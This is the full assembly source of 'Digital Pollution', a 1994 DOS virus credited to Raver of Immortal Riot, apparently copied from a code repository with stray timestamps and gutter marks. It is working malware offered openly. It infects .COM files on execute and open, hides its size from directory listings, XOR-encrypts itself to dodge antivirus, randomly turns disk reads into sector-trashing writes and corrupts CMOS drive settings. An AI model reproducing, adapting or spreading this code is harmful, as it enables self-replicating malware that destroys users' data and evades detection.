2022-08-21 09:07:57 +00:00
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; VirusName : Digital Pollution
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; Origin : Sweden
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; Author : Raver
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; Group : Immortal Riot
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; Date : 25/07/94
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; It's been a while since I released my last virus but here's a new one
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; anyway.
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;
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; It's a pretty simple resident non-overwriting .com-infector with
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; basic stealth function. Of course it restores time/date/attrib
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; and stuff like that. It hooks int 21h and infects on execute
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; and open (4b00h/3dh). If a "dir" command is executed it will hide
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; the new filesize of infected size by hooking 11h/12h (Find first/next
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; the FCB way). The comments is, I think, pretty OK and easy to follow.
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;
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; As we have started to make out viruses a bit more destructive I've
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; included some nuking routines. The virus hooks int 25h (read sector)
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; at install and every time it's called there is a 3 % chance that it
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; will execute a int 26h instead (write sector). It also includes a
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; routine to change the CMOS values for the HD/floppy. Every time an
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; infected file is executed it's 2 % chance that this will be activated
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; and if so the HD will be set to 20MB and the floppy to 360kb.
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; Though this can easily be restored it can cause the novice to do
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; some unpredictable things before he really detects the real error.
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; (like formating floppys or HD or call his hardware vendor :)
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; Also if it's the swedish national day (06/06) it will play some of
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; the swedish national antheme. It's completely undestructive but
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; what the phuck, it could be fun.
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; At last some credits to Macaroni Ted 'cause I've borrowed the
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; play_song routine from his CyberCide Virus.
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; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
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; DIGITAL POLLUTION
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; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
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cseg segment byte public 'code'
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assume cs:cseg, ds:cseg
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org 100h
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vir_size equ end_of_virus-start_of_virus
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start_of_virus:
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jmp entry_point
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; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
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; Install code
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; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
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install:
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mov ax,7777h ;check if we're already in mem
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int 21h
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cmp ax,'iR' ;if so - jmp already_resident
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je already_resident
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mov ah,2ah ;get data
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int 21h
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cmp dx,0606h ;if it's Sweden's national day
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jne dont_play ;play the national antheme
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call play_song
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dont_play:
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mov ah,4ah ;get #of available paragraphs in bx
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mov bx,0ffffh
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int 21h
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sub bx,(vir_size+15)/16+1 ;recalculate and
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mov ah,4ah
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int 21h
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mov ah,48h ;allocate enough mem for virus
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mov bx,(vir_size+15)/16
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int 21h
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jc already_resident ;exit if error
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dec ax ;ax-1 = MCB
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mov es,ax
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mov word ptr es:[1],8 ;Mark DOS as owner
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push ax ;save for later use
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mov ax,3521h ;get interrupt vectors for 21, 25 & 26h
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int 21h
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mov word ptr ds:[OldInt21h],bx
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mov word ptr ds:[OldInt21h+2],es
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mov al,25h
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int 21h
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mov word ptr ds:[old_int25h],bx
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mov word ptr ds:[old_int25h+2],es
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inc al
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int 26h
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mov word ptr ds:[int26h],bx
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mov word ptr ds:[int26h+2],es
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pop ax ;ax = MCB for allocated mem
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push cs
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pop ds
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cld ;cld for movsw
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sub ax,0fh ;es:[100h] = start of allocated mem
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mov es,ax
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mov di,100h
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lea si,[bp+offset start_of_virus]
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mov cx,(vir_size+1)/2 ;copy entire virii to mem
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rep movsw ;this way keeps the original offsets
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;in the int handler
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push es
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pop ds
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mov dx,offset new_int21h ;hook int21h to new_int21h
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mov ax,2521h
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int 21h
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already_resident:
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mov di,100h ;restore the 3 first bytes to it's
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push cs ;original position
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push cs
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pop es
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pop ds
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lea si,[bp+orgbuf]
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mov cx,3
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rep movsb
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mov ah,2ch ;get time
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int 21h
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cmp dl,1 ;about 2% chance of a CMOS nuke
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ja exit
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call screw_cmos
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exit:
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mov ax,100h ;return control to original program
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jmp ax ;at cs:100h
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orgbuf db 0cdh,20h,90h ;buffer to save the 3 first bytes
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newbuf db 0e9h,00h,00h ;buffer to calculate a new entry
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;offset
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; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
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; new interrupt 21h handler
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; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
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new_int21h:
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cmp ax,7777h ;is it residency check??
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jne continue
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mov ax,'iR' ;if so return 'iR'
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iret
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continue:
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cmp ax,4b00h ;check for exec
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je infect
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check_open:
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cmp ah,3dh ;check for open
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jne check_dir
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jmp check_com ;if si check if .com file
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check_dir:
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cmp ah,11h ;is it a dir call??
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je hide_dir ;then do some FCB stealth
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cmp ah,12h
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je hide_dir
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jmp do_oldint21h
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hide_dir: ;FCB stealth routine
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pushf ;simulate a int call with pushf
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push cs ;and cs, ip on the stack
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call do_oldint21h
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or al,al ;was the dir call successfull??
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jnz skip_dir ;if not skip it
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push ax bx es ;preserve registers in use
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mov ah,62h ;same as 51h - Get current PSP to es:bx
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int 21h
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mov es,bx
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cmp bx,es:[16h] ;is the PSP OK??
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jnz bad_psp ;if not quit
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mov bx,dx
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mov al,[bx] ;al holds current drive - FFh means
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push ax ;extended FCB
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mov ah,2fh ;get DTA-area
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int 21h
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pop ax
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inc al ;is it an extended FCB
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jnz no_ext
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add bx,7 ;if so add 7
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no_ext:
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mov al,byte ptr es:[bx+17h] ;get seconds field
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and al,1fh
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xor al,1dh ;is the file infected??
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jnz no_stealth ;if not - don't hide size
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cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds
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jbe no_stealth ;as an infected is smaller -
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sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size
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sbb word ptr es:[bx+1fh],0 ;else sub vir_size-2 from
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no_stealth: ;dir entry
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bad_psp:
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pop es bx ax ;restore regs
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skip_dir:
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iret
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infect: ;.com file infection routine
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push es bp ax bx cx si di ds dx ;preserve registers in use
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mov ax,4300h ;get attrib
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int 21h
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push cx ;save attrib
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mov ax,4301h ;clear attrib
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xor cx,cx
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int 21h
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mov ax,3d02h ;open file
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pushf ;we can't have a standard int 21h
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push cs ;call here as we would get caught
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call do_oldint21h ;in a infinite loop at open calls
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xchg ax,bx ;bx = file handle
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push cs
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pop ds
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mov ax,5700h ;get time/date
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int 21h
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push dx ;push date/time for later use
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push cx
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and cl,1fh ;check if infected (if seconds is 29)
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xor cl,1dh
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je skip_infect
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mov ah,3fh ;read three bytes
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mov cx,3
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mov dx,offset ds:orgbuf
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int 21h
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cmp word ptr ds:orgbuf,'ZM' ;check if .EXE file
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je skip_infect
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cmp word ptr ds:orgbuf,'MZ'
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je skip_infect ;if so - don't infect
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mov ax,4202h ;go eof
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xor cx,cx
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cwd
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int 21h
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add ax,offset entry_point-106h ;calculate entry offset to jmp
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mov word ptr ds:newbuf[1],ax ;move it to newbuf
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mov ah,2ch ;get random number and put enc_val
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int 21h
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mov word ptr ds:enc_val,dx
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mov ax,08d00h ;copy entire virus to 8d00h:100h
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mov es,ax
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mov di,100h
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mov si,di
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mov cx,(vir_size+1)/2
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rep movsw
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push es
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pop ds
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xor bp,bp ;and encrypt it there
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call encrypt_decrypt
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mov ah,40h ;write virus to file from position
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mov cx,end_of_virus-install ;08d00h:100h
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mov dx,offset install
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int 21h
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push cs
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pop ds
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mov ax,4200h ;go sof
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xor cx,cx
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cwd
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int 21h
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mov ah,40h ;write 3 start bytes
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mov cx,3
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mov dx,offset newbuf
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int 21h
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skip_infect:
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mov ax,5701h ;restore time/date and mark it infected
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pop cx
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pop dx
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or cl,00011101b
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and cl,11111101b
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|
|
int 21h
|
|
|
|
|
|
|
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|
|
;skip_infect:
|
|
|
|
|
mov ah,3eh ;close the file
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
pop cx ;get old attrib in cx
|
|
|
|
|
pop dx
|
|
|
|
|
pop ds
|
|
|
|
|
mov ax,4301h ;and put it right
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
pop di si cx bx ax bp es ;restore registers
|
|
|
|
|
|
|
|
|
|
do_oldint21h:
|
|
|
|
|
db 0eah ;jmp to original int21h handler
|
|
|
|
|
OldInt21h dd 0
|
|
|
|
|
|
|
|
|
|
check_com: ;routine to check if a file has the
|
|
|
|
|
push di es cx ax ;extension .com
|
|
|
|
|
push ds
|
|
|
|
|
pop es
|
|
|
|
|
mov cx,64
|
|
|
|
|
mov di,dx
|
|
|
|
|
mov al,'.'
|
|
|
|
|
repne scasb ;search for the '.' location
|
|
|
|
|
|
|
|
|
|
pop ax cx es
|
|
|
|
|
|
|
|
|
|
cmp word ptr ds:[di],'OC' ;check the 3 following bytes for COM
|
|
|
|
|
jne break
|
|
|
|
|
cmp byte ptr ds:[di+2],'M'
|
|
|
|
|
jne break
|
|
|
|
|
pop di
|
|
|
|
|
jmp infect ;if the match - infect the file
|
|
|
|
|
break:
|
|
|
|
|
pop di
|
|
|
|
|
jmp short do_oldint21h
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
|
|
|
|
|
; new interrupt 25h handler
|
|
|
|
|
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
|
|
|
|
|
new_int25h:
|
|
|
|
|
|
|
|
|
|
push dx
|
|
|
|
|
cmp al,2 ;check for c: and above
|
|
|
|
|
jb do_int25h
|
|
|
|
|
push cx ax
|
|
|
|
|
|
|
|
|
|
mov ah,2ch ;get random number
|
|
|
|
|
int 21h
|
|
|
|
|
pop ax cx
|
|
|
|
|
cmp dl,2 ;3% chance of a int 26 nuke
|
|
|
|
|
ja do_int25h
|
|
|
|
|
|
|
|
|
|
trash:
|
|
|
|
|
pop dx
|
|
|
|
|
db 0eah ;trash cx # of sectors by jumping
|
|
|
|
|
int26h dd 0 ;to int26h handler
|
|
|
|
|
|
|
|
|
|
do_int25h:
|
|
|
|
|
pop dx
|
|
|
|
|
db 0eah ;lucky victim - a standard int25h call
|
|
|
|
|
old_int25h dd 0
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
|
|
|
|
|
; CMOS nuking routine
|
|
|
|
|
;
|
|
|
|
|
; This routine changes the floppy alternative in CMOS to a 360kb floppy
|
|
|
|
|
; or the hd to a 20 MB
|
|
|
|
|
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
|
|
|
|
|
screw_cmos:
|
|
|
|
|
|
|
|
|
|
or dl,dl ;if dl = 0 nuke CMOS floppy
|
|
|
|
|
jne floppy
|
|
|
|
|
mov cl,19h ;else nuke CMOS hd
|
|
|
|
|
jmp short get_crc
|
|
|
|
|
floppy:
|
|
|
|
|
mov cl,10h
|
|
|
|
|
|
|
|
|
|
get_crc: ;get CMOS crc checksum
|
|
|
|
|
mov ax,2eh ;get most significant byte
|
|
|
|
|
out 70h,al ;and store in dh
|
|
|
|
|
in al,71h
|
|
|
|
|
xchg dh,al
|
|
|
|
|
mov al,2fh ;get least significant byte
|
|
|
|
|
out 70h,al ;and store in dl
|
|
|
|
|
in al,71h
|
|
|
|
|
xchg dl,al ;dx holds crc checksum
|
|
|
|
|
|
|
|
|
|
mov al,cl ;cl = function (10h=floopy, 19h=hd)
|
|
|
|
|
out 70h,al
|
|
|
|
|
in al,71h ;get current value in al
|
|
|
|
|
sub dx,ax ;and subtract from checksum
|
|
|
|
|
add dx,10h ;add new value to checksum
|
|
|
|
|
|
|
|
|
|
mov al,cl
|
|
|
|
|
out 70h,al
|
|
|
|
|
mov al,10h
|
|
|
|
|
out 71h,al ;put new value in CMOS
|
|
|
|
|
|
|
|
|
|
mov al,2eh ;put back new crc checksum
|
|
|
|
|
out 70h,al
|
|
|
|
|
xchg dh,al
|
|
|
|
|
out 71h,al ;least signigicant byte
|
|
|
|
|
mov al,2fh
|
|
|
|
|
out 70h,al
|
|
|
|
|
xchg dl,al
|
|
|
|
|
out 71h,al ;most significant byte
|
|
|
|
|
|
|
|
|
|
ret ;done!
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
|
|
|
|
|
; Swedish national anthem routine
|
|
|
|
|
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
|
|
|
|
|
play_song:
|
|
|
|
|
|
|
|
|
|
lea si,[bp+tune]
|
|
|
|
|
next_note: ;loop through the tune at ds:si
|
|
|
|
|
lodsw ;until ds:si = 0
|
|
|
|
|
or ax,ax
|
|
|
|
|
je eot
|
|
|
|
|
mov di,ax
|
|
|
|
|
play:
|
|
|
|
|
mov al,0b6h
|
|
|
|
|
out 43h,al
|
|
|
|
|
mov dx,12h
|
|
|
|
|
mov ax,3280h
|
|
|
|
|
div di
|
|
|
|
|
out 42h,al
|
|
|
|
|
mov al,ah
|
|
|
|
|
out 42h,al
|
|
|
|
|
|
|
|
|
|
in al,61h
|
|
|
|
|
mov ah,al
|
|
|
|
|
or al,3
|
|
|
|
|
out 61h,al
|
|
|
|
|
|
|
|
|
|
lodsw
|
|
|
|
|
mov cx,ax
|
|
|
|
|
delay:
|
|
|
|
|
push cx
|
|
|
|
|
mov cx,2700
|
|
|
|
|
loop $
|
|
|
|
|
pop cx
|
|
|
|
|
loop delay
|
|
|
|
|
|
|
|
|
|
out 61h,al
|
|
|
|
|
|
|
|
|
|
jmp next_note
|
|
|
|
|
eot:
|
|
|
|
|
xor al,al ;kill the sound
|
|
|
|
|
out 61h,al
|
|
|
|
|
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
tune dw 370,600 ;data for the tune
|
|
|
|
|
dw 370,1200
|
|
|
|
|
dw 294,600
|
|
|
|
|
dw 294,600
|
|
|
|
|
dw 294,1200
|
|
|
|
|
dw 330,600
|
|
|
|
|
dw 370,600
|
|
|
|
|
dw 370,1200
|
|
|
|
|
dw 330,600
|
|
|
|
|
dw 294,600
|
|
|
|
|
dw 277,1800
|
|
|
|
|
dw 330,600
|
|
|
|
|
dw 330,1200
|
|
|
|
|
dw 277,600
|
|
|
|
|
dw 294,600
|
|
|
|
|
dw 330,600
|
|
|
|
|
dw 277,600
|
|
|
|
|
dw 370,600
|
|
|
|
|
dw 294,600
|
|
|
|
|
dw 247,2400
|
|
|
|
|
dw 220,1200
|
|
|
|
|
dw 0
|
|
|
|
|
|
|
|
|
|
dbnote db "Digital Pollution (c) '94 Raver/Immortal Riot" ;creators note
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
|
|
|
|
|
; En/de-cryption routine and entry point - unencrypted code
|
|
|
|
|
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
|
|
|
|
|
encrypt_decrypt:
|
|
|
|
|
mov ax,word ptr ds:[bp+enc_val] ;put encryption value in ax
|
|
|
|
|
lea di,[bp+install] ;di points to start of crypt
|
|
|
|
|
mov cx,(encrypt_decrypt-install)/2 ;cx = # of words to be enc.
|
|
|
|
|
xor_loopy:
|
|
|
|
|
xor word ptr ds:[di],ax ;a simple xor loop to fullfill
|
|
|
|
|
inc di ;the task
|
|
|
|
|
inc di
|
|
|
|
|
loop xor_loopy
|
|
|
|
|
ret
|
|
|
|
|
enc_val dw 0
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
entry_point:
|
|
|
|
|
mov sp,102h ;some alternative way to pop
|
|
|
|
|
call get_bp ;we don't want TBAV to flag
|
|
|
|
|
get_bp: ;a flexible entry point
|
|
|
|
|
mov bp,word ptr ds:[100h]
|
|
|
|
|
mov sp,0fffeh
|
|
|
|
|
sub bp,offset get_bp
|
|
|
|
|
|
|
|
|
|
call encrypt_decrypt ;decrypt the virus
|
|
|
|
|
jmp install ;jmp to install code
|
|
|
|
|
|
|
|
|
|
end_of_virus:
|
|
|
|
|
|
|
|
|
|
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
|
|
|
|
|
; end of virus
|
|
|
|
|
; <20><>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>--<2D>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>-<2D>
|
|
|
|
|
cseg ends
|
|
|
|
|
|
2021-01-12 23:41:47 +00:00
|
|
|
|
end start_of_virus
|